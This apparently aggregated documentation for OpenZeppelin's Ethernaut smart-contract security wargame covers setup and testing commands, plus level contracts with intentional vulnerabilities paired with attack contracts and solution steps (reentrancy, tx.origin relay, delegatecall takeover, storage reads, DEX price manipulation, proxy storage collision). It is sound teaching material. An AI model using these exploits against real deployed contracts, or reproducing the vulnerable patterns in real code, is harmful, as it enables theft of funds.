### Ethernaut Local Development Setup Source: https://context7.com/openzeppelin/ethernaut/llms.txt Commands for setting up and running Ethernaut locally. Includes cloning the repository, installing dependencies, starting a local network, deploying contracts, and running the frontend. ```Bash # Clone and install\ngit clone git@github.com:OpenZeppelin/ethernaut.git\ncd ethernaut\nyarn install\n # Start local network (Anvil)\nyarn network\n # Deploy contracts to local network\nyarn deploy:contracts\n # Start frontend\nyarn start:ethernaut\n # Build for production\nyarn build:ethernaut ``` -------------------------------- ### Start Deterministic RPC Source: https://github.com/openzeppelin/ethernaut/wiki/Home Launch the local test network. ```bash yarn network ``` -------------------------------- ### Install Ethernaut Dependencies Source: https://github.com/openzeppelin/ethernaut/wiki/Home Clone the repository and install the required project dependencies. ```bash git clone git@github.com:OpenZeppelin/ethernaut.git yarn install ``` -------------------------------- ### Configure Deployment JSON Source: https://github.com/openzeppelin/ethernaut/blob/master/README.md Example format for the deployment configuration file when adding new instances. ```json { "0": "x", "1": "0x4b1d5eb6cd2849c7890bcacd63a6855d1c0e79d5", "2": "0xdf51a9e8ce57e7787e4a27dd19880fd7106b9a5c", ... } ``` -------------------------------- ### Start Ethernaut Frontend Source: https://github.com/openzeppelin/ethernaut/wiki/Home Run the React-based Ethernaut client locally. ```bash yarn start:ethernaut ``` -------------------------------- ### Start Hardhat Local Node with Fork Source: https://github.com/openzeppelin/ethernaut/blob/master/client/scripts/docs/supersede_level.md Command to start a hardhat local node with a forked network. This command should be executed in the './contracts' directory and requires specifying the provider API URL. ```bash yarn hardhat --max-memory 8192 node --fork ``` -------------------------------- ### Get Cast Help Source: https://github.com/openzeppelin/ethernaut/blob/master/contracts/README.md Display help information for the `cast` command by running `cast --help`. ```shell cast --help ``` -------------------------------- ### Start Local Node with Anvil Source: https://github.com/openzeppelin/ethernaut/blob/master/contracts/README.md Launch a local Ethereum node using `anvil`. This is useful for local development and testing. ```shell anvil ``` -------------------------------- ### Get Anvil Help Source: https://github.com/openzeppelin/ethernaut/blob/master/contracts/README.md Display help information for the `anvil` command by running `anvil --help`. ```shell anvil --help ``` -------------------------------- ### Get Forge Help Source: https://github.com/openzeppelin/ethernaut/blob/master/contracts/README.md Display help information for the `forge` command by running `forge --help`. ```shell forge --help ``` -------------------------------- ### GET /statistics/global-metrics Source: https://context7.com/openzeppelin/ethernaut/llms.txt Retrieves global game statistics across all players and levels. ```APIDOC ## GET /statistics/global-metrics ### Description Retrieves aggregate statistics for the entire Ethernaut platform. ### Method GET ### Response #### Success Response (200) - **getTotalNoOfLevelInstancesCreated** (uint256) - Total instances created globally. - **getTotalNoOfLevelInstancesCompleted** (uint256) - Total instances completed globally. - **getTotalNoOfPlayers** (uint256) - Total number of unique players. - **getTotalNoOfEthernautLevels** (uint256) - Total number of levels available. ``` -------------------------------- ### GET /statistics/player-metrics Source: https://context7.com/openzeppelin/ethernaut/llms.txt Retrieves various performance metrics for a specific player, including completion counts, success rates, and timing data. ```APIDOC ## GET /statistics/player-metrics ### Description Retrieves metrics for a specific player address. ### Method GET ### Parameters #### Query Parameters - **player** (address) - Required - The address of the player to query. ### Response #### Success Response (200) - **getTotalNoOfLevelInstancesCreatedByPlayer** (uint256) - Total instances created by player. - **getTotalNoOfLevelInstancesCompletedByPlayer** (uint256) - Total instances completed by player. - **getTotalNoOfLevelsCompletedByPlayer** (uint256) - Total unique levels completed by player. - **getPercentageOfLevelsCompleted** (uint256) - Percentage of total levels completed. - **getAverageTimeTakenToCompleteLevels** (uint256) - Average time in seconds taken to complete levels. ``` -------------------------------- ### Get Bitcoin Price with Chainlink on Sepolia Source: https://github.com/openzeppelin/ethernaut/blob/master/client/src/gamedata/en/descriptions/levels/dex_complete.md This contract retrieves the latest BTC/USD price from a Chainlink data feed on the Sepolia testnet. Ensure you have the correct Chainlink aggregator address for the desired network and asset. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol"; contract PriceConsumerV3 { AggregatorV3Interface internal priceFeed; /** * Network: Sepolia * Aggregator: BTC/USD * Address: 0x1b44F3514812d835EB1BDB0acB33d3fA3351Ee43 */ constructor() { priceFeed = AggregatorV3Interface( 0x1b44F3514812d835EB1BDB0acB33d3fA3351Ee43 ); } /** * Returns the latest price. */ function getLatestPrice() public view returns (int) { // prettier-ignore ( /* uint80 roundID */, int price, /*uint startedAt*/, /*uint timeStamp*/, /*uint80 answeredInRound*/ ) = priceFeed.latestRoundData(); return price; } } ``` -------------------------------- ### Build Ethernaut Project Source: https://github.com/openzeppelin/ethernaut/wiki/Home Build the Ethernaut application for production. ```bash yarn build:ethernaut ``` -------------------------------- ### Build Project with Forge Source: https://github.com/openzeppelin/ethernaut/blob/master/contracts/README.md Use `forge build` to compile your smart contracts. Ensure you are in your project's root directory. ```shell forge build ``` -------------------------------- ### Format Code with Forge Source: https://github.com/openzeppelin/ethernaut/blob/master/contracts/README.md Use `forge fmt` to automatically format your Solidity code according to standard conventions. ```shell forge fmt ``` -------------------------------- ### List Console Helpers Source: https://github.com/openzeppelin/ethernaut/blob/master/client/src/gamedata/en/descriptions/levels/instances.md Displays available utility functions for gameplay. ```javascript help() ``` -------------------------------- ### Deploy Ethernaut Contracts Source: https://github.com/openzeppelin/ethernaut/wiki/Home Deploy the compiled contracts to the local network. ```bash yarn deploy:contracts ``` -------------------------------- ### Running Ethernaut Tests with Foundry Source: https://context7.com/openzeppelin/ethernaut/llms.txt Commands to run contract tests using Foundry. Includes options for running all tests, specific level tests, and compiling contracts. ```Bash # Run all contract tests\nyarn test:contracts\n # Run specific level test\ncd contracts && forge test --match-contract TestReentrance -vvv\n # Compile contracts\nyarn compile:contracts ``` -------------------------------- ### Deploy Contract with Forge Script Source: https://github.com/openzeppelin/ethernaut/blob/master/contracts/README.md Deploy a smart contract using `forge script`. Provide the script path, RPC URL, and private key. ```shell forge script script/Counter.s.sol:CounterScript --rpc-url --private-key ``` -------------------------------- ### Run Tests with Forge Source: https://github.com/openzeppelin/ethernaut/blob/master/contracts/README.md Execute your smart contract tests using `forge test`. This command runs all tests defined in your project. ```shell forge test ``` -------------------------------- ### Compile Ethernaut Contracts Source: https://github.com/openzeppelin/ethernaut/wiki/Home Compile the smart contracts for the Ethernaut game. ```bash yarn compile:contracts ``` -------------------------------- ### Generate Gas Snapshots with Forge Source: https://github.com/openzeppelin/ethernaut/blob/master/contracts/README.md Run `forge snapshot` to generate gas usage reports for your smart contracts. This helps in analyzing gas efficiency. ```shell forge snapshot ``` -------------------------------- ### Run Ethernaut Tests Source: https://github.com/openzeppelin/ethernaut/wiki/Home Execute the contract test suite. ```bash yarn test:contracts ``` -------------------------------- ### Run Supersede Level Script Source: https://github.com/openzeppelin/ethernaut/blob/master/client/scripts/docs/supersede_level.md Execute the supersede level script to initiate the contract replacement process on testnets. Ensure the network is correctly configured in constants.js. ```bash yarn run supersede:level ``` -------------------------------- ### Clone the Ethernaut repository Source: https://github.com/openzeppelin/ethernaut/blob/master/CONTRIBUTING.md Commands to clone the repository using different protocols or tools. ```bash git clone --filter=blob:none git@github.com:/ethernaut.git ``` ```bash git clone --filter=blob:none https://github.com//ethernaut.git ``` ```bash gh repo clone /ethernaut -- --filter=blob:none ``` -------------------------------- ### Configure Goerli Deployment Data Source: https://github.com/openzeppelin/ethernaut/wiki/Home Update the gamedata.json file to include a new instance address for Goerli deployment. ```json "deployed_goerli": [ "x", "0x4b1d5eb6cd2849c7890bcacd63a6855d1c0e79d5", "0xdf51a9e8ce57e7787e4a27dd19880fd7106b9a5c" ], ``` -------------------------------- ### Configure Hardhat Local Node for Forking Source: https://github.com/openzeppelin/ethernaut/blob/master/client/scripts/docs/supersede_level.md Modify hardhat.config.js to set the Ethernaut owner as the main account for a local hardhat node when forking a network. This is necessary for testing contract replacements in a local environment. ```javascript const ownerPrivKey = process.env.PRIV_KEY; module.exports = { ... networks: { hardhat: { chainId: 1337, accounts: [{ privateKey: ownerPrivKey, balance: "1000000000000000000000" }], }, }, }; ``` -------------------------------- ### Query Level Information Source: https://github.com/openzeppelin/ethernaut/blob/master/client/src/gamedata/en/descriptions/levels/instances.md Calls the info method on the current level contract. ```javascript contract.info() ``` ```javascript await contract.info() ``` -------------------------------- ### Inspect Level Instance Source: https://github.com/openzeppelin/ethernaut/blob/master/client/src/gamedata/en/descriptions/levels/instances.md Accesses the current level's contract instance. ```javascript contract ``` -------------------------------- ### Check Ether Balance Source: https://github.com/openzeppelin/ethernaut/blob/master/client/src/gamedata/en/descriptions/levels/instances.md Retrieves the current ether balance for the player address. ```javascript getBalance(player) ``` ```javascript await getBalance(player) ``` -------------------------------- ### Interact with EVM using Cast Source: https://github.com/openzeppelin/ethernaut/blob/master/contracts/README.md Use `cast` for various EVM interactions, such as sending transactions or querying chain data. Replace `` with the desired action. ```shell cast ``` -------------------------------- ### Extracting Private Key from Storage in Privacy Contract Source: https://context7.com/openzeppelin/ethernaut/llms.txt Illustrates storage packing rules in Solidity. A private key can be extracted from packed data in storage slot 2 by analyzing the data array. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Privacy { bool public locked = true; // slot 0 (1 byte) uint256 public ID = block.timestamp; // slot 1 (32 bytes) uint8 private flattening = 10; // slot 2 (packed) uint8 private denomination = 255; // slot 2 (packed) uint16 private awkwardness; // slot 2 (packed) bytes32[3] private data; // slots 3, 4, 5 constructor(bytes32[3] memory _data) { data = _data; } function unlock(bytes16 _key) public { // Key is first 16 bytes of data[2] (slot 5) require(_key == bytes16(data[2])); locked = false; } } ``` ```javascript // Solution: Read slot 5 and extract first 16 bytes // const key = await web3.eth.getStorageAt(contract.address, 5) // await contract.unlock(key.slice(0, 34)) // 0x + 32 hex chars = 16 bytes ``` -------------------------------- ### Specify Gas for External Calls Source: https://github.com/openzeppelin/ethernaut/blob/master/client/src/gamedata/en/descriptions/levels/denial_complete.md When using low-level calls like `call` to continue execution even if an external call reverts, always specify a fixed gas stipend to prevent denial of service. ```Solidity call{gas: }(data) ``` -------------------------------- ### Fallback Contract Vulnerability and Solution Source: https://context7.com/openzeppelin/ethernaut/llms.txt Demonstrates ownership takeover via the receive() function. Requires a contribution followed by a direct transaction to trigger the fallback logic. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Fallback { mapping(address => uint256) public contributions; address public owner; constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function withdraw() public { require(msg.sender == owner, "caller is not the owner"); payable(owner).transfer(address(this).balance); } // Vulnerability: ownership can be claimed with any contribution > 0 receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } } // Solution via browser console: // 1. await contract.contribute({value: toWei("0.0001")}) // 2. await contract.sendTransaction({value: toWei("0.0001")}) // triggers receive() // 3. await contract.withdraw() ``` -------------------------------- ### Retrieve Player Address Source: https://github.com/openzeppelin/ethernaut/blob/master/client/src/gamedata/en/descriptions/levels/instances.md Displays the current player's wallet address in the console. ```javascript player ``` -------------------------------- ### Gas Manipulation and Type Casting in GatekeeperOne Source: https://context7.com/openzeppelin/ethernaut/llms.txt Requires precise gas calculation and understanding of Solidity type casting to pass three modifier gates. The `enter` function uses modifiers that check `msg.sender`, `gasleft()`, and a custom `_gateKey`. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); // Must call via contract _; } modifier gateTwo() { require(gasleft() % 8191 == 0); // Precise gas required _; } modifier gateThree(bytes8 _gateKey) { // Part 1: uint32(key) == uint16(key) → lower 2 bytes repeated // Part 2: uint32(key) != uint64(key) → upper 4 bytes non-zero // Part 3: uint32(key) == uint16(tx.origin) → matches tx.origin require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))); require(uint32(uint64(_gateKey)) != uint64(_gateKey)); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } ``` ```solidity // Attack contract contract GatekeeperOneAttack { function attack(address target) external { // Key: mask tx.origin to satisfy all three conditions bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF; // Brute force gas to hit gateTwo for (uint256 i = 0; i < 300; i++) { (bool success,) = target.call{gas: 8191 * 3 + i}( abi.encodeWithSignature("enter(bytes8)", key) ); if (success) break; } } } ``` -------------------------------- ### Add Spanish Translation Key Source: https://github.com/openzeppelin/ethernaut/blob/master/CONTRIBUTING.md When adding a new language, include a key-value pair for the language name in the Spanish strings file. ```json { ... "french": "Francés", ... ``` -------------------------------- ### Statistics Contract - Player Metrics Source: https://context7.com/openzeppelin/ethernaut/llms.txt Tracks player and level metrics like completion times, attempts, and success rates. Provides functions for retrieving global and player-specific statistics. ```Solidity // SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Statistics {\n function getTotalNoOfLevelInstancesCreatedByPlayer(address player) public view returns (uint256);\n function getTotalNoOfLevelInstancesCompletedByPlayer(address player) public view returns (uint256);\n function getTotalNoOfLevelsCompletedByPlayer(address player) public view returns (uint256);\n function isLevelCompleted(address player, address level) public view returns (bool);\n function getTimeElapsedForCompletionOfLevel(address player, address level) public view returns (uint256);\n function getPercentageOfLevelsCompleted(address player) public view returns (uint256);\n function getAverageTimeTakenToCompleteLevels(address player) public view returns (uint256);\n\n // Global statistics\n function getTotalNoOfLevelInstancesCreated() public view returns (uint256);\n function getTotalNoOfLevelInstancesCompleted() public view returns (uint256);\n function getTotalNoOfPlayers() public view returns (uint256);\n function getTotalNoOfEthernautLevels() public view returns (uint256);\n}\n ``` -------------------------------- ### SafeMath Overflow Prevention Source: https://github.com/openzeppelin/ethernaut/blob/master/client/src/gamedata/en/descriptions/levels/token_complete.md Utilize the OpenZeppelin SafeMath library to automatically revert transactions if an overflow occurs during mathematical operations. ```solidity a = a.add(c); ``` -------------------------------- ### Abstract Level Contract for Ethernaut Challenges Source: https://context7.com/openzeppelin/ethernaut/llms.txt Defines the interface for all level contracts, requiring methods to create instances and validate player solutions. Inherits from Ownable. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "openzeppelin-contracts-08/access/Ownable.sol"; abstract contract Level is Ownable { // Creates a new instance of the level for the player function createInstance(address _player) public payable virtual returns (address); // Validates whether the player has completed the level function validateInstance(address payable _instance, address _player) public virtual returns (bool); } ``` -------------------------------- ### Rubixi Contract Constructor Vulnerability Source: https://github.com/openzeppelin/ethernaut/blob/master/client/src/gamedata/en/descriptions/levels/fallout_complete.md Demonstrates a constructor naming mismatch where the function name does not match the contract name, allowing unauthorized access. ```solidity contract Rubixi { address private owner; function DynamicPyramid() { owner = msg.sender; } function collectAllFees() { owner.transfer(this.balance) } ... } ``` -------------------------------- ### Approve Token Spending Source: https://github.com/openzeppelin/ethernaut/blob/master/client/src/gamedata/en/descriptions/levels/dex.md Use this method to authorize the DEX contract to spend your tokens, replacing the standard ERC20 approve flow. ```solidity contract.approve(contract.address, ) ``` -------------------------------- ### PuzzleWallet Contract - Storage Collision Vulnerability Source: https://context7.com/openzeppelin/ethernaut/llms.txt Demonstrates storage collision in proxy patterns. The PuzzleProxy and PuzzleWallet contracts share storage slots with different variable names, leading to vulnerabilities. ```Solidity // SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract PuzzleProxy {\n address public pendingAdmin; // slot 0 - collides with owner\n address public admin; // slot 1 - collides with maxBalance\n}\n\ncontract PuzzleWallet {\n address public owner; // slot 0 - collides with pendingAdmin\n uint256 public maxBalance; // slot 1 - collides with admin\n mapping(address => bool) public whitelisted;\n mapping(address => uint256) public balances;\n\n function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {\n require(address(this).balance == 0, "Contract balance is not 0");\n maxBalance = _maxBalance; // Setting this changes admin!\n }\n\n function multicall(bytes[] calldata data) external payable onlyWhitelisted {\n // Can be exploited with nested multicalls to double-count msg.value\n for (uint256 i = 0; i < data.length; i++) {\n (bool success,) = address(this).delegatecall(data[i]);\n }\n }\n}\n\n// Attack flow:\n// 1. proposeNewAdmin(yourAddress) → sets owner (slot collision)\n// 2. addToWhitelist(yourAddress)\n// 3. Nested multicall to deposit twice with single msg.value\n// 4. execute() to drain balance\n// 5. setMaxBalance(yourAddress) → sets admin (slot collision)\n ``` -------------------------------- ### AMM Price Oracle Manipulation in Dex Contract Source: https://context7.com/openzeppelin/ethernaut/llms.txt Shows how constant-product AMM formulas can be manipulated. Repeated swaps can drain liquidity by exploiting integer division truncation in the `getSwapPrice` function. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Dex { address public token1; address public token2; function swap(address from, address to, uint256 amount) public { require((from == token1 && to == token2) || (from == token2 && to == token1)); uint256 swapAmount = getSwapPrice(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); } // Vulnerability: Integer division truncation allows price manipulation function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) { return (amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)); } } ``` ```javascript // Solution: Repeatedly swap all tokens back and forth // Round 1: Swap 10 token1 → get 10 token2 (price: 100/100) // Round 2: Swap 20 token2 → get 24 token1 (price: 110/90) // Round 3: Swap 24 token1 → get 30 token2 (price: 86/110) // Continue until one token is drained ``` -------------------------------- ### Interact with Contract ABI Source: https://github.com/openzeppelin/ethernaut/blob/master/client/src/gamedata/en/descriptions/levels/instances.md Calls public methods on the Ethernaut contract. ```javascript ethernaut.owner() ``` ```javascript await ethernaut.owner() ``` -------------------------------- ### Add French Translation Key Source: https://github.com/openzeppelin/ethernaut/blob/master/CONTRIBUTING.md When adding a new language, include a key-value pair for the language name in the English strings file. ```json { ... "french": "French", ... ``` -------------------------------- ### Foundry Test for Reentrance Level Source: https://context7.com/openzeppelin/ethernaut/llms.txt Comprehensive Foundry test for the Reentrance level. It verifies initial state and solution validation, including setting up the environment and executing the attack. ```Solidity // SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport "forge-std/Test.sol";\nimport {Utils} from "test/utils/Utils.sol";\nimport {ReentranceAttack, Reentrance} from "src/attacks/ReentranceAttack.sol";\nimport {Ethernaut} from "src/Ethernaut.sol";\n\ncontract TestReentrance is Test, Utils {\n Ethernaut ethernaut;\n Reentrance instance;\n address payable player;\n\n function setUp() public {\n address payable[] memory users = createUsers(2);\n player = users[1];\n\n vm.startPrank(owner);\n ethernaut = getEthernautWithStatsProxy(owner);\n ethernaut.registerLevel(Level(address(factory)));\n vm.stopPrank();\n\n vm.startPrank(player);\n instance = Reentrance(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether)));\n vm.stopPrank();\n }\n\n function testSolve() public {\n vm.startPrank(player);\n ReentranceAttack attacker = new ReentranceAttack{value: player.balance}(payable(address(instance)));\n attacker.attack_1_causeOverflow();\n attacker.attack_2_deplete();\n assertTrue(submitLevelInstance(ethernaut, address(instance)));\n }\n}\n ``` -------------------------------- ### Delegation Contract delegatecall Exploitation Source: https://context7.com/openzeppelin/ethernaut/llms.txt Shows how delegatecall preserves execution context, allowing unauthorized storage modification. The exploit involves sending a transaction with the pwn() function selector. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Delegate { address public owner; constructor(address _owner) { owner = _owner; } function pwn() public { owner = msg.sender; // Modifies caller's storage slot 0 } } contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; } // Vulnerability: arbitrary delegatecall with user-controlled data fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } } // Solution: Send transaction with pwn() function selector // await contract.sendTransaction({data: web3.eth.abi.encodeFunctionSignature("pwn()")}) ``` -------------------------------- ### Update LANGUAGES_MAP in Headers.js Source: https://github.com/openzeppelin/ethernaut/blob/master/CONTRIBUTING.md Add a new entry to the LANGUAGES_MAP object in `Headers.js` to enable language selection in the user interface for a newly added language. ```javascript const LANGUAGES_MAP = { en: strings.english, es: strings.spanish, pt_br: strings.portuguese, ja: strings.japanese, zh_cn: strings.chinese_simplified, zh_tw: strings.chinese_traditional, fr: strings.french, ru: strings.russian, ar: strings.arabic, tr: strings.turkish, }; ``` -------------------------------- ### Register Level in Ethernaut Contract Source: https://context7.com/openzeppelin/ethernaut/llms.txt Allows the owner to register a new level factory contract. Requires the caller to be the owner. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./levels/base/Level.sol"; import "openzeppelin-contracts-08/access/Ownable.sol"; contract Ethernaut is Ownable { IStatistics public statistics; mapping(address => bool) public registeredLevels; struct EmittedInstanceData { address player; Level level; bool completed; } mapping(address => EmittedInstanceData) public emittedInstances; event LevelInstanceCreatedLog(address indexed player, address indexed instance, address indexed level); event LevelCompletedLog(address indexed player, address indexed instance, address indexed level); // Owner registers a new level factory function registerLevel(Level _level) public onlyOwner { registeredLevels[address(_level)] = true; statistics.saveNewLevel(address(_level)); } // Player creates a new instance of a level function createLevelInstance(Level _level) public payable { require(registeredLevels[address(_level)], "This level doesn't exists"); address instance = _level.createInstance{value: msg.value}(msg.sender); emittedInstances[instance] = EmittedInstanceData(msg.sender, _level, false); statistics.createNewInstance(instance, address(_level), msg.sender); emit LevelInstanceCreatedLog(msg.sender, instance, address(_level)); } // Player submits completed level for validation function submitLevelInstance(address payable _instance) public { EmittedInstanceData storage data = emittedInstances[_instance]; require(data.player == msg.sender, "This instance doesn't belong to the current user"); require(data.completed == false, "Level has been completed already"); if (data.level.validateInstance(_instance, msg.sender)) { data.completed = true; statistics.submitSuccess(_instance, address(data.level), msg.sender); emit LevelCompletedLog(msg.sender, _instance, address(data.level)); } else { statistics.submitFailure(_instance, address(data.level), msg.sender); } } } ``` -------------------------------- ### Reading Private Storage in Vault Contract Source: https://context7.com/openzeppelin/ethernaut/llms.txt Demonstrates that 'private' variables in Solidity are readable from the blockchain's storage. The password can be retrieved from storage slot 1. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Vault { bool public locked; // slot 0 bytes32 private password; // slot 1 - "private" but readable constructor(bytes32 _password) { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } } ``` ```javascript // Solution: Read password directly from storage slot 1 // const password = await web3.eth.getStorageAt(contract.address, 1) // await contract.unlock(password) ``` -------------------------------- ### Access Ethernaut Contract Source: https://github.com/openzeppelin/ethernaut/blob/master/client/src/gamedata/en/descriptions/levels/instances.md Accesses the main Ethernaut smart contract object. ```javascript ethernaut ``` -------------------------------- ### Telephone Contract tx.origin Vulnerability Source: https://context7.com/openzeppelin/ethernaut/llms.txt Illustrates the danger of using tx.origin for authorization. An attacker contract can bypass checks by acting as an intermediary. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Telephone { address public owner; constructor() { owner = msg.sender; } // Vulnerability: tx.origin != msg.sender when called via contract function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } } // Attack contract to exploit the vulnerability contract TelephoneAttack { Telephone target; constructor(address _target) { target = Telephone(_target); } function attack(address newOwner) public { // When called: tx.origin = EOA, msg.sender = this contract target.changeOwner(newOwner); } } ``` -------------------------------- ### Manual Overflow Check in Solidity Source: https://github.com/openzeppelin/ethernaut/blob/master/client/src/gamedata/en/descriptions/levels/token_complete.md Use a conditional statement to verify that an addition operation does not exceed the maximum value of the variable type. ```solidity if(a + c > a) { a = a + c; } ``` -------------------------------- ### Vulnerable transfer function using tx.origin Source: https://github.com/openzeppelin/ethernaut/blob/master/client/src/gamedata/en/descriptions/levels/telephone_complete.md This function is vulnerable because it uses `tx.origin` to determine the sender of tokens. Avoid using `tx.origin` for authentication; use `msg.sender` instead. ```Solidity function transfer(address _to, uint _value) { tokens[tx.origin] -= _value; tokens[_to] += _value; } ``` -------------------------------- ### Malicious contract calling the vulnerable transfer function Source: https://github.com/openzeppelin/ethernaut/blob/master/client/src/gamedata/en/descriptions/levels/telephone_complete.md This fallback function in a malicious contract can be used to exploit the `tx.origin` vulnerability. When called, `tx.origin` will be the victim's address, not the malicious contract's. ```Solidity function () payable { token.transfer(attackerAddress, 10000); } ``` -------------------------------- ### Reentrance Contract Reentrancy Attack Source: https://context7.com/openzeppelin/ethernaut/llms.txt Demonstrates a classic reentrancy vulnerability where external calls occur before state updates. The attack contract recursively calls withdraw() until the balance is drained. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; contract Reentrance { mapping(address => uint256) public balances; function donate(address _to) public payable { balances[_to] += msg.value; } function withdraw(uint256 _amount) public { if (balances[msg.sender] >= _amount) { // Vulnerability: external call before state update (bool result,) = msg.sender.call{value: _amount}(""); if (result) { _amount; } balances[msg.sender] -= _amount; // State updated after call } } } // Attack contract exploiting reentrancy contract ReentranceAttack { Reentrance target; constructor(address payable _target) public payable { target = Reentrance(_target); } function attack() public { target.donate{value: 1 wei}(address(this)); target.withdraw(1 wei); } // Re-enters withdraw() on each ETH receipt receive() external payable { if (address(target).balance >= 1 wei) { target.withdraw(1 wei); } } } ``` === COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.